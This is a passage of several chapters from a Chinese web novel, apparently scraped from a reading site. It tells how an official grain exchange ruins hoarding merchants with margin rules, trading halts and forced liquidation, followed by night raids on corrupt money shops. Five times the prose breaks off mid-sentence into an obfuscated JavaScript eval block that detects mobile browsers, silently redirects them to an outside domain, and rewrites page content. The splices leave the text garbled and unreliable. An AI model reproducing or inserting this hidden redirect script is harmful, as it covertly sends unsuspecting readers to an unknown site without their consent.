负责接待的生员只是个二十出头的年轻人,哪里见过这种阵仗,被常万金的无赖行径气得满面通红,话都说不利索了。 “你你胡说!我们江南道都漕交易监是官办机构,有转运司和银监司背书,怎么可能是骗子! “我呸! 常万金一口唾沫险些喷到他脸上:“官办?官办就能为所欲为吗?官办就能定这种不讲道理的规矩吗? 陆恒见状,大步上前,一把将那名生员拉到身后。 “常东家,稍安勿躁! 说着,陆恒拍了拍手,环视一周,先是介绍自己的身份。 “我是江南道都漕交易监协理督办,陆恒! “诸位临安府的粮商、父老乡亲!想必大家心中都有和这位常东家一样的疑惑。 “为何在交易监买卖粮引,买入只需交两成保证金,卖出却要交三成? “莫非是我们交易监,存心刁难卖粮之人? 人群中响起一阵议论,显然,这个问题也是他们想不通的。 陆恒微微一笑,继续道:“今日,我便与诸位说个明白! “其一,防奸商囤货居奇,保小民生计!粮乃民之根本,若放任手握重资的大商户,低门槛地随意抛售粮引,会发生什么? “粮价会暴跌!看似大家都能买到便宜米,可实际上,那些米行巨贾,可以轻轻松松地砸盘,先用低价逼死城中所有的小粮铺,然后再一家独大,垄断市场,到时候,米价是涨是跌,还不是他们一句话的事? “其二,粮贱伤农!米价暴跌,最高兴的是谁?是那些囤积居奇的奸商!最倒霉的是谁?是辛辛苦苦一整年的农户!今年粮价贱得跟泥一样,来年谁还愿意种地?真到了无人种粮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453247|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一天,饥 荒四起这个责任谁来担?” 一番话掷地有声。 周围的百姓和中小商户们听得连连点头眼中的疑惑尽去。 陆恒趁热打铁继续开口解释: “所以朝廷立下此规!卖出粮引多押一成钱就是要防着那些大商户恶意砸盘扰乱市场!而买入粮引门槛放低就是为了让咱们普通百姓、中小商户也能有余力存些粮食以抗风险!” “这多出来的一成保证金保护的不是交易监不是官府正是我们临安府千千万万的百姓和安分守己的商人!” 话音落下人群中就响起了阵阵附和声。 “好!” “说得好!就该这样!” “原来是这个道理!这规矩是保护咱们小老百姓的啊!” “陆协理说得对!绝不能让那些黑心商人得逞!” “妈的差点被那胖子给骗了!原来他是想自己砸盘拉着我们一起死!” 百姓的情绪被彻底点燃一道道鄙夷愤怒的目光齐刷刷地射向常万金。 陆恒看着眼前这一幕心中大定。 这个场景琢之的风控预案里早有推演应对的话术他更是背得滚瓜烂熟。 果然分毫不差。 常万金和周炳、苏十三娘三人听着周围百姓的议论一张脸变得比锅底还黑。 说得这么好听还说不是针对我们四大米行? 这**就是赤裸裸的阳谋! 他们囤粮最多抛售意愿最强这高额的保证金就是冲着他们来的。 用一个冠冕堂皇的理由占据了道德制高点让他们想煽动百姓都无从下手。 周炳与苏十三娘对视一眼都从对方的反应中看到了深深的无力。 事到如今还有别的选择吗? 不交手里的粮食就是一堆废物只能眼睁睁看着它在仓库里发霉等着钱庄的人上门抄家。 交了虽然要大出血但至少还有一线生机。 钝刀子割肉和一刀毙命怎么选? 周炳拨开被怼得哑口无言的常万金走到了长案前从牙缝里挤出一个字。 “交。” 随即周炳拿起笔开始在登记名录上 苏十三娘和常万金见状也只能咬着牙跟了上去。 第198章 连跌熔断机制! 负责登记的生员接过三人的名录,看了一眼上面登记的存粮总数,心里默算了一下,抬起头。 “三位东家,总计五十万石粮食,按照今日八百两一引的价格,共计是五千张粮引。” “按规矩,卖引需缴纳三成保证金,总计是一百二十万两白银。” 一百二十万两! 饶是心里早有准备,当这个数字从生员嘴里清晰地吐出来时,常万金还是觉得一阵天旋地转。 这**哪里是保证金,这分明是催命符! 他们为了囤积这百万石粮食,早已掏空了家底,又从各大钱庄借了上百万两的**。 现在钱庄催债人就堵在门口,银监司又要查账,他们手里的现银,加起来也未必能凑出这个数。 周炳的面皮抽动了一下,但终究没说什么,只是回头看了一眼苏十三娘和常万金。 这一眼,常万金和苏十三娘都看明白了。 事已至此,砸锅卖铁,也得交! 一个时辰后,当三家米行的掌柜、账房,气喘吁吁地将一口口装满银票和银锭的箱子抬到交易监时,整个交易监前堂都安静了下来。 一百二十万两白银,堆在一起,那股视觉冲击力,让周围所有看热闹的商户和百姓都倒吸了一口凉气。 交割完毕,生员在三人的名录上盖下了“保证金已讫”的红印。 常万金看着那鲜红的印记,只觉得那是用自己的血写成的。 他一把抢过名录,几步冲到陆恒面前,咬牙切齿地发问:“钱,我们交了!现在,我们可以挂牌卖粮引了吧?” “不会.又有什么新花招等着我们吧?” 陆恒看着他那副输红了眼的赌徒模样,轻轻摇了摇头: “常东家说的哪里话,我们交易监是官办机构,自然是按规矩办事。” “卖,当然可以卖,诸位随时可以挂牌。只要有人肯买,只要你们能卖得出去,那就是你们自己的本事。” “那我们现在就挂牌.” 还没等常万金说完,周炳一把拉住了他。 “我们先看看。” 周炳比常万金要冷静得多,没有贸然行动,谁知道卢璘后面有没有什么手段等着他们。 说完,周炳便带 着自己的人,一言不发地退到大堂一角,让手下的掌柜和账房,仔仔细细地研究起挂在墙上的《江南道大宗粮市管理条例》。 每一个字,每一个条款,都不放过。 已经被卢璘用规则坑得了一波,绝不能再在同一个地方摔倒。 陆恒也不在意,对着三人拱了拱手,便转身回了后堂。 …… 与此同时 交易监三楼,一间宽敞的雅室内。 卢璘和黄观凭栏而立,楼下大堂发生的一切,都尽收眼底。 黄观看着陆恒不卑不亢地将周炳等人怼得哑口无言,最后只能灰溜溜地去研究规则,不由得赞叹出声: “朗行当真不愧是家学渊源,这番应对,有理有据,不失气度,处理得井井有条。 “琢之,你安排朗行出任这协理督办,实在是再明智不过。 这话黄观是发自内心的。 没有丝毫因为自己未能在交易监担任要职而心生不满。 恰恰相反,对卢璘的整个布局,佩服的五体投地。 就在康承民和秦有德离开之后,卢璘召集了自强社所有的核心成员,开诚布公地详谈了一次。 关于自强社与交易监的未来。 按照卢璘的规划,自强社的班底,将明确地分为两套。 一套,以黄观、刘复等学问扎实,有志于科举功名的生员为主,继续潜心举业,全力备战秋闱。 而另一套,则是从自强社中,挑选出那些对科举信心不足,但为人可靠、精明能干的生员,安排进入交易监,担任各个要职。 用交易监,来托举自强社! 黄观现在回想起来,只觉得卢璘这个安排,实在是神来之笔。 如此一来,那些有志于科举的生员,便再无后顾之忧。 交易监丰厚的收益,足以支撑他们安心读书,不必再为生计发愁。 而那些进入交易监的兄弟,也能人尽其才,找到一条实现自身价值的路。 等到黄观他们这批人金榜题名,步入仕途,手握权柄之后,又能反过来,为交易监的发展保驾护航。 两条线,互为表里,环环相扣。 一个庞大而稳固的利益集团,已然现出了雏形。 就在黄观心生感慨之际,陆恒推门走了进来。 “景明兄。陆恒先是笑着和黄观打了个招呼。 黄观回过神,也笑着迎了上去:“朗行,我刚才还在跟琢之夸你,楼下那场面,处理得实在妥当。 陆恒连忙摆手,不敢居功。 “景明兄谬赞了。不过是照着琢之之前给的预案,照本宣科罢了,当不得夸。 说完,他转向卢璘,脸上的轻松散去,换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453248|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了一抹凝重。 “琢之,周炳他们已经交了保证金,看样子是打算在我们这里挂牌卖粮引了。 “若是真让他们顺利地把手里的粮食都卖了出去,那我们费了这么大劲,岂不是只让他们少赚了一些,最终还是让他们回血脱身了? 这同样是黄观心中的疑虑。 一百二十万两的保证金虽然肉痛,但一旦他们将价值四百万两的粮食全部出手,依旧能拿回一大笔钱,不至于伤筋动骨。 卢璘听完,脸上却不见丝毫担忧。 转过身,重新将目光投向楼下大堂里,那几个聚在一起,对着墙上规章制度冥思苦想的周炳几人。 “想卖?卢璘笑了笑。 “哪有那么简单。 “朗行,你忘了,规矩里还有一条‘连跌熔断’机制的说明吗? “‘连跌熔断’机制?这又是什么鬼东西? 交易监大堂一角,周炳死死盯着墙上那份《江南道大宗粮市管理条例》,侧过头,看向自家米行的大掌柜。 大掌柜被周炳盯得满头是汗,刚刚他带着几个账房,把这墙上的规矩逐字逐句地研究了不下十遍,越研究,心里越是发凉。 “**东家,这上面写着,为了防止市场剧烈波动,保护农户与中小商户利益,交易监有权设立‘涨跌停板’。 “条例里说,任何粮引的交易价格,单日下跌若超过前一日收盘价的一成,交易监可可随时暂停该粮引的所有交易,直至次日开市。 掌柜的声音越说越小。 一旁的苏十三娘听后,只觉得眼前一黑,身子晃了晃,一口气差点没喘上来。 熔断? 暂停交易? 这哪里是为了保护什么狗屁农户! 分明就是为他们量身打造的又一个陷阱! 自己三人手里,总共有五千张粮引,代表着五十万石粮食。 如此巨大的体量,一旦挂牌抛售,必然会引起市场的恐慌性下跌。 别说一成,就是跌两成、三成,都毫不意外! 到时候,这个“连跌熔断 交易暂停! 想卖?等明天吧! 可明天呢?明天他们继续抛售,价格继续暴跌,然后再次触发熔断! 日复一日! 他们手里的粮引,就像是被凌迟处死一样,每天只能卖出去那么一点点。 不行! 绝对不能这样坐以待毙! 苏十三娘心里一沉,打起了别的主意。 第199章 大难临头! 苏十三娘能想得到,周炳自然也想得到。 他们现在最缺的是什么? 是时间! 钱庄这群饿鬼可不会给他们这么多! 那上百万两**的利息,每一天都是一个天文数字,足以将他们活活压垮! 这个“连跌熔断”机制,看似公允,实则歹毒无比,精准地掐断了他们快速回笼资金的唯一希望,把他们死死地钉在了这口烧得通红的铁锅上,用文火慢慢煎熬。 钝刀子割肉,才是最痛苦的。 怎么办? 能不能动用临安府的行政力量来施压? 刚想到这里,周炳又否定了这个想法。 姐夫是官,讲的是官场的规矩。 让他用行政力量来干预一个由转运使和银监司主官共同背书的江南道都漕交易监? 这无异于痴人说梦! 就算姐夫肯冒着得罪两位封疆大吏的风险出手,一来一回,公文往复,没有十天半个月也下不来。 可他们等得起吗? “****卢璘!” 常万金终于反应了过来,一声怒骂响彻整个大堂。 “这个**的小畜生!他这是要把我们往死里逼啊!” “从保证金到这个狗屁熔断!一环扣一环!他早就把我们算计得死死的了!” “老子不玩了!把钱还给老子!老子不卖了!” 常万金状若疯虎,通红着双眼就要往柜台冲。 还没等发疯的常万金冲到柜台,一名自强社生员拦住了他。 “这位东家,请你放尊重些!” 正是被安排在前堂维持秩序的张聪。 张聪可不管对方是什么四大米行,是什么临安府有头有脸的大人物。 在张聪心里,社首就是天,就是给了他新生的人。 让他一个屡试不第、家境贫寒的读书人,能在交易监找到一份实现自身价值的差事,拿着不菲的月俸,还能一边温书备考,一边接触这些闻所未闻的新鲜事物。 谁敢骂社首,就是跟张聪过不去! “这里是江南道都漕交易监,是官署之地,不是你家后院!”张聪挺直了胸膛,毫不畏惧地对上常万金的目光。 “我们社首的名讳,也 是你能直呼的?” “你要是再敢在这里无理取闹口出狂言休怪我叫人把你轰出去!” 常万金被一个毛头小子指着鼻子教训气得浑身发抖正要发作却下意识地扫了一眼四周。 只见大堂的几个角落里站着十几个身穿转运司兵服、手按腰刀的官兵 那股肃杀之气让常万金瞬间冷静了下来。 他可以不在乎一个穷学生但他不能不在乎官府的刀! 一口恶气堵在胸口上不去也下不来常万金一张肥脸涨成了猪肝色最终只能悻悻地闭上了嘴。 这时周炳旗下的大掌柜凑到周炳身边低声问道: “东家.那.那咱们这粮引还挂不挂牌?还卖不卖了?” 许久周炳才缓缓吐出两个字。 “卖。” “怎么不卖。” “挂牌能卖多少是多少。” 张聪一直警惕地盯着周炳三人直到他们的背影彻底消失在交易监的大门外这才松了一口气转身回来。 一回头就看到卢璘、黄观、陆恒三人正站在二楼的栏杆后含笑看着他。 张聪连忙快步上前恭敬地拱手行礼。 “社首!” 卢璘笑着点了点头:“刚才做得不错不卑不亢有几分官署办事的气度。” 得到卢璘的夸奖张聪有些不好意思地挠了挠头:“都是社首培训的好。再说咱们这么多人还有官兵大哥们在也不怕他们几个**!” 卢璘听后摇头轻笑。 **? 从周炳几人缴纳那一百二十万两保证金踏入这场粮引游戏的那一刻起他们的结局就已经注定了。 想在交易监里**他们已经没有那个资格了。 搞垮四大米行需要几步? 在卢璘的计划里只需要三步。 第一步保证金制度。 用高额的卖出保证金瞬间抽干他们本就紧张的现金流让他们陷入被动。 第二步连跌熔断机制。 彻底堵死他们快速抛售、回笼资金的妄想将他们死死地钉在亏损的砧板上用时间慢慢凌迟。 第三 步,也是最致命的一步,“强制平仓 按照交易监的规矩,粮引价格一旦下跌,卖方账户中的保证金价值,就会随之缩水。 当保证金低于规定比例时,就必须立刻补缴,否则,交易监有权将其持有的粮引,强行卖出,以填补亏空。 而粮价,会跌吗? 必然会跌! 到时候,周炳他们拿得出钱来补缴保证金吗? 他们为了囤粮,早就质押了名下的田产铺面,从钱庄借了上百万两的**。 如今现金流被保证金锁死,拿什么来补?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453249|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一旦他们补不上钱,被强制平仓,手中大量的低价粮引涌入市场,又会引发新一轮的暴跌。 暴跌,补缴,再暴跌,再补缴…… 这是一个无解的循环。 甚至都不需要卢璘再出手,光是闻到血腥味的钱庄,就会像饿狼一样扑上来,活活撕碎他们。 这场由四大米行掀起的临安府粮价闹剧,也是时候,该落幕了。 …… 与此同时 周府。 回来谈论对策周炳三人,越想越不对劲。 加入江南道都漕交易监这一步,跟死棋没什么区别。 给他们的时间完全不够,钱庄的催命符一天紧过一天。 一百二十万两保证金,已经掏空了他们最后的家底。 那个该死的“连跌熔断,更是像一把枷锁,让他们连割肉求生的机会都变得渺茫。 “砰! 想到这里,常万金再也忍不住,一脚踹翻了身边的椅子,双眼通红,状若疯魔。 “我早就说了!当初就该直接杀了那个小畜生!一了百了!都怪你们!瞻前顾后!怕这怕那!现在好了?现在怎么办! 气急败坏的常万金指着周炳的鼻子,唾沫横飞地咆哮,把所有的怨气都发泄了出来。 “还有那个王八蛋齐老拐!从头到尾都没见到人!肯定是**叛变了!我的人刚刚告诉我,亲眼看到他从交易监的后门溜了出来! 周炳本就心烦意乱到了极点,听着常万金这番甩锅的咆哮,胸中的怒火也瞬间被点燃。 “这里不是你常府!想撒野就滚出去! 周炳猛的站起身,冷冷地看着常万金:“杀杀杀!你就知道杀!你要是有那个能耐,现在就去把卢璘杀了!你看有没有用?你看官府会不会把你千刀万剐! “你!常万金被怼得一口气没上来,气得笑了起来。 “好,好!这也不行,那也不行!那就等死吧!反正老子烂命一条,大不了破产!钱庄的人就算逼上门来,我躲到我叔父家去!我看他们谁敢动我一根汗**! 说完,狠狠地一甩袖子,头也不回地冲出了会客厅。 周炳懒得再看他一眼,疲惫地摆了摆手,也转身朝着内院走去。 整个会客厅,只剩下苏十三娘一人。 全程沉默,没有说一句话。 只有在听到常万金说起齐老拐的时候,太阳穴不受控制地跳了一下。 许久,苏十三娘才幽幽地叹了口气,站起身默默地离开了周府。 第200章 秦有德在行动! 周炳回到自己的院子后,第一件事就是喊来了管家和自己的妻子。 周夫人见丈夫阴沉着一张脸,一句话也不敢多问。 “把府里所有能动的银钱、古玩、字画,全部清点出来。” 管家心头一凛,连忙应是。 管家离去后,周炳这才看向自己的妻子,挤出一丝温和: “你收拾一下,带着孩子,去我姐姐府上住一段时间。就说.家里要修缮,不方便。” “没有我的信,不许回来。” 周夫人眼眶一红,懂事地点了点头,没有追问。 等周夫人转身离去后,周炳这才长长吐出一口气,默默摇头。 另一边,苏十三娘离开周府后,并没有回自己的宅子。 马车在街上转了个弯,径直来到了城西,齐老拐的府邸门前。 齐府的下人见到是苏十三娘到访,不敢怠慢,连忙进去通报。 很快,齐老拐就迎了出来,脸上带着意外。 “哎呀,什么风把苏当家吹来了?快,里面请!” 进入内堂,分宾主落座,下人奉上茶。 齐老拐端起茶杯,笑呵呵地开口:“苏当家到访,不知有何要事?” 苏十三娘没有碰那杯茶,一双媚眼直直地看着齐老拐,忽然笑了。 “齐大哥,你这就不地道了。” “搭上了交易监那艘大船,怎么就把妹子给忘了呢?” 齐老拐端着茶杯的手,稳如泰山,脸上的笑容没有丝毫变化。 “苏老板说笑了,我怎么听不懂呢?什么交易监,什么大船?” 苏十三娘也不点破,只是幽幽开口: “齐大哥,明人不说暗话,周炳刚愎自用,常万金就是个蠢货,跟他们绑在一起,只有死路一条。这一点,齐大哥比我看得更清楚。” “如今,我们手里都攥着一堆卖不出去的粮引,每日都在亏钱。但齐大哥不一样,你已经找到了出路。” “小妹不才,也想求一条活路。只要齐大哥肯为我引荐卢总办,事成之后,小妹愿意将名下三成米铺的份子,双手奉上。” 齐老拐脸上的笑容,终于慢慢敛去。 放下茶杯,沉默了片刻。 苏十三娘这个 女人,比他想象的还要果决,还要狠。 三成米铺的份子,那可不是一笔小数目。 哪怕粮价回到之前的价格,铺子里的大师傅,掌柜,伙计们都值钱啊! “好。 子时,临安府,银监司官署。 整座官署依旧灯火通明,气氛却压抑得让人喘不过气。 秦有德端坐于正堂之上,脸色凝重。 堂下,十余名银监司的骨干官吏,个个屏息凝神,垂手肃立。 就在刚刚,秦有德一道官令,将他们从被窝里,尽数召集于此。 没人知道发生了什么,但所有人都清楚,秦大人如此大的阵仗,必然有大事发生。 一名副官匆匆从门外走入,快步来到秦有德身边,低声耳语了几句。 秦有德听完,面无波澜,轻轻挥了挥手,示意副官退下。 而后清了清嗓子,环视堂下众人: “诸位,事情紧急,本官也就不绕弯子了。 “近日,都漕交易监接连收到密报,丰裕号,德昌隆,广源泰三家商号,通过钱庄借贷时,涉嫌虚增抵押、伪造阴阳账册,甚至贿赂钱庄掌柜,套取超额银款。 “这笔烂账,原本与本官无关。但他们在粮市兴风作浪,致使江南粮价腾涌,民怨四起. 秦有德冷笑一声: “这便是找死! 最后一句话,带着一股不加掩饰的杀气。 堂下众人,无不心头一凛。 “今日丑时,本官要你们分头行动! 秦有德猛地站起身,目光锐利扫视众人。 “张司务! “下官在!一名年长的官员立刻出列。 “你带一队人,查通源钱庄!孙德海那只老狐狸,账做得最干净,也最容易藏污纳垢!给本官一笔一笔地查!尤其是涉及周炳的那三十万两! “是! “李主簿! “下官在! “你带人,去查恒通、四海、汇源三家钱庄!这三家与常万金、苏十三娘往来最密,重点查他们名下的田产铺面抵押文书!本官怀疑,他们用同一份地契,在多家钱庄重复抵押! “遵命! “其余人等,分为五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453250|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组,对城内所有与三大商号有借贷往来的钱庄,进行突击审核!” “记住!我们的目的,不是查封钱庄,而是查账!” “所有涉案的账册、文书、凭证,一律封存带走!若有反抗,或企图销毁证据者……” 说到这里,秦有德停顿了一下,冷声道: “按妨碍公务、藐视朝廷论处,就地格杀,无需请示!” “是!” 堂下,响起一片整齐划一的应和声。 命令下达完毕,官吏们不敢有丝毫耽搁,立刻分头行动,官署内一时间人影攒动。 很快,正堂内只剩下秦有德一人。 望着临安府深沉夜色,秦有德心中自有另一番计较。 江南道都漕交易监,自挂牌以来,短短数日,效果好得出乎所有人的意料。 每日通过粮引交易产生的“市税”,虽然每笔只有半文钱,但架不住交易量巨大,积少成多,竟是一笔极为可观的收入。 这笔钱,绕过了层层盘剥的旧有体系,直接充入银监司库房,再由银监司统一上缴国库。 这意味着什么? 意味着朝廷从此有了一项稳定而丰厚的财源,可以直接用于北境的军费开支! 这是何等功绩啊! 而他秦有德,作为交易监的提举交易监事,是这套体系的创建者和监管者之一。 光是这一项,就足以让他在年底的考评中,得到一个卓异的评语。 但还不够。 交易监的模式虽好,但毕竟是新生事物,根基未稳。 朝中那些老顽固,最擅长的就是吹毛求疵,挑剔非议。 想要让这份功绩变得无可指摘,牢不可破,就必须再添一把火! 而三大商号,就是最好的那把柴。 将他们定性为“囤积居奇、扰乱市场、掏空钱庄、祸国殃民”的奸商,再以雷霆之势将其一举打垮。 如此一来,交易监的出现,就不仅仅是创举,更是拨乱反正的义举! 性质,完全不同。 到那时,他秦有德向朝廷递上的,将是一份功劳簿就更亮眼了。 整顿江南钱庄,疏通银根,力挽狂澜,平抑粮价,为国库开辟财源. 桩桩件件,都足以载入史册! 第201章 臣,请斩! 丑时三刻,夜色如墨。 通源钱庄的后院账房内,孙德海正与心腹伙计对着账。 算盘珠子拨得噼啪作响,院中的犬吠声却突然停了下来。 这段时间本就心神不宁的孙德海警觉地站了起来。 “去看看谁来了?” 话音未落,账房的门被一股巨力踹开! 数名手持雪亮腰刀的差役蜂拥而入,煞气逼人。 “银监司办案!所有人跪地,双手抱头!” 伙计双腿一软,当场就瘫在了地上。 孙德海到底是见过风浪的人,强作镇定,拱了拱手:“诸位大人,不知银监司深夜闯我民宅,可有” “啪!” 一本厚厚的账册,从张司务手中甩出,狠狠砸在孙德海脸上。 “孙德海!去年腊月,你给周炳做的八万两‘空押’,真当官府是瞎子吗?” 孙德海的脑子嗡的一声。 “同一批已经发霉的陈粮,已经在四海钱庄贷了,到你这儿,竟能摇身一变,又押出八万两!孙掌柜,你这钱庄,是会点石成金吗?钱从哪来的?” 张司务步步紧逼,一桩桩一件件都是只有孙德海才能知道的隐秘,听得孙德海遍体生寒,嘴唇哆嗦着,一个字也说不出来。 那名瘫软在地的伙计,再也扛不住这股压力,崩溃地指向脚下的青石地砖。 “在、在下头……都在下头……” 两名差役立刻上前,用刀鞘撬开地砖,露出一口黑漆漆的铁箱。 箱子打开,里面整整齐齐码放着的,不是金银,而是一叠叠文书。 张司务拿起最上面的一份,与自己带来的黑账一对,发出一声冷笑。 “阴阳合契,做得不错嘛。” “一份给官府看,一份自己存。孙掌柜,你这生意经,念得真好啊。” “人赃并获,带走!” 孙德海彻底瘫倒在地,面如死灰。 张司务看都懒得再看他一眼,转身对身后的吏员厉声下令。 “即刻行文江南道各州县衙门,冻结周炳名下所有田产、铺面、宅院!片瓦不得交易,分文不得支取!” …… 同一时刻,同样的高效率的清洗,在临安府十 六家钱庄同时上演。 恒通钱庄的内堂,直接炸开了锅。 “什么?苏十三娘用同一个破码头,在我们五家都做了抵押?” “这是我的!契书上写得明明白白!” “放屁!我这还有一份呢!你那份是假的!” 几个平日里称兄道弟的钱庄掌柜,此刻为了那份早已被稀释的一文不值的抵押物,当场撕打成一团,状若疯狗。 四海钱庄。 当差役从账房的夹层里,翻出常万金买通典史篡改的契的往来信件和银票存根时,所有人都沉默了。 这就是铁证啊! 半个时辰后,消息传到了城南的典史衙门。 当天夜里,一名小吏推开书房的门,只看到一双悬在半空中的脚。 “典史大人.上吊了!” 带队的银监司骨干看着畏罪**的典史冷笑一声:“陈都指挥使敢这个时候伸手,就不怕被自己侄子给连累了?” 汇源钱庄内。 一名年轻的银监司书吏,在核对周炳的一份粮仓抵押文书时,察觉到了不对劲。 他将文书高举到灯火下,仔仔细细地比对着上面的官印,整个人都开始哆嗦。 “大大人!您快看这个!” 带队的李主簿接过文书,只看了一眼,便倒吸一口凉气。 文书上盖着的,根本不是临安府的官印,而是来自京城户部仓储司的朱红大印! “伪造部印!” 李主簿只觉得头皮发麻。 “这这是谋逆大罪!” 一桩地方上的坏账,瞬间升级为动摇国本的惊天大案! …… 子时刚过,银监司官署,依旧灯火通明。 秦有德端坐于正堂,一动不动。 一道道加急密报,从城中各处汇集而来。 “启禀大人!通源钱庄人赃并获,主犯孙德海已押入大牢!” “启禀大人!恒通钱庄查出重复抵押大案,涉案五家钱庄掌柜,已全部控制!” “启禀大人!四海钱庄涉案典史,畏罪自尽!” “启禀大人!汇源钱庄.查出伪造户部官印惊天大案!” 听着副官的禀报,秦有德的脸上,没有半分喜悦 。 他要的,从来就不是查抄几家钱庄,挽回一些损失。 而是将周炳等人彻底钉死在祸国奸商的耻辱柱上,永世不得翻身! 如此,他推行交易监的功劳,才能从创举,变成拨乱反正的义举。 时机,已到。 秦有德缓缓站起身,走到书案前,亲自研墨。 “江南道奸商周炳、常万金、苏十三娘等人,囤积居奇,操控粮价,本为取死之道。” “然其心不死,竟勾结钱庄,伪造账册,虚增抵押,大肆套取银款,数额之巨,触目惊心。致使江南银根动荡,储户血本无归,国本被蛀,民怨滔天.” 写到最后,秦有德笔锋一转,杀气毕露。 “臣以为,此风不除,国无宁日!为安抚民心,为震慑宵小,为稳固江山社稷,臣斗胆,请立斩罪魁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453251|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周炳、常万金、苏十三娘三人,以谢天下!” 最后一笔落下,秦有德掷笔于案。 一名副官捧着刚刚盖好官印的火漆信封,匆匆从后堂走出。 “大人,都准备好了。” 秦有德没有回头,口中吐出一个字。 “发。” 丑时四刻,周府的后门被敲响了。 敲门的声音很轻,三长两短,是约定好的暗号。 管家提着灯笼,亲自打开门,一个穿着通源钱庄伙计连滚带爬地冲了进来。 “东家呢!我要见东家!” 这是周炳花大价钱在通源钱庄里安插的一颗钉子,一个个不起眼的边缘伙计,专门负责打扫后院。 管家不敢怠慢,立刻将人引到了书房。 周炳一夜未眠,一见到伙计心里忍不住咯噔一下。 伙计一见到周炳,更是扑通一声就跪下了。 “东家!完了!全完了!” “银监司的人,跟疯了一样冲进钱庄,张司务亲自带队!什么都不问,直接就撬开了孙掌柜账房里的地砖!” “箱子里的阴阳账册,全被翻出来了!” 周炳闻言,身子晃了一下,心里那股不祥的预感达到了顶点。 伙计还在语无伦次地哭诉:“孙掌柜当场就被带走了!小的亲耳听到,张司务下令,要立刻冻结您名下所有的田产铺面!” 周炳只觉得脑子嗡的一声,眼前阵阵发黑。 一旁的管家也是听得心惊肉跳,连忙塞了一锭银子到伙计怀里,将他从后门送走。 只剩下周炳一人在房间内,瘫在椅子上望着天花板,脑袋一片空白。 完了。 全完了! 这是要赶尽杀绝啊! 汇源钱庄! 对,汇源钱庄,周炳脑袋里突然想起一笔借贷款子。 几年前,为了从汇源钱庄贷出最大一笔款子,铤而走险伪造了一份户部仓储司的官印! 如果说,做阴阳账册,虚增抵押,还只是商贾之间的龌龊事,最多落个查抄家产,流放三千里。 那么伪造部印. 一股寒气从脚底板直冲天灵盖,周炳浑身止不住的颤抖。 不行,不能就这么等死! 姐夫! 对,还有姐夫! 想到这里,周炳猛地站起身,对着门外嘶吼:“备车!备车!快! 自己还有钱,这些年积攒的财富,藏在密室里的金条、地契、古玩字画,价值万金! 只要能保住命,全都愿意献出去! 只要姐夫能开口,在转运使和银监司面前为他说一句话,哪怕只是一句话,或许还有转机! 第202章 吴郎,你真好! 夜色下的临安府大街,空无一人。 很快,周炳的马车就停在了临安府知府府上。 周炳冲下车,疯了一样地拍门。 开门的,是知府门房。 门房见到周炳这副模样,脸上没有半分惊讶,侧过身,将他拦在门外。 “周老爷,您请回吧。” “我要见知府大人!我有天大的急事!”周炳推开门房,就要往里闯。 可门房态度坚定,死死拦住了周炳:“我家大人说了,天大的事,也等天亮了再说。” 周炳一把抓住他的衣领,双目赤红: “你放屁!我是他小舅子!滚开!” 门房任由他抓着,动也不动。 就在这时,一个中年男人提着灯笼,从内院幽幽地走了出来。 周炳一见到姐夫的心腹总管来了,松了口气,正准备开口,却见总管对着那门房挥了挥手,示意他退下。 而后,才慢悠悠地转向周炳,微微躬身:“周老爷,夜深了,请回吧。” “我要见姐夫!” 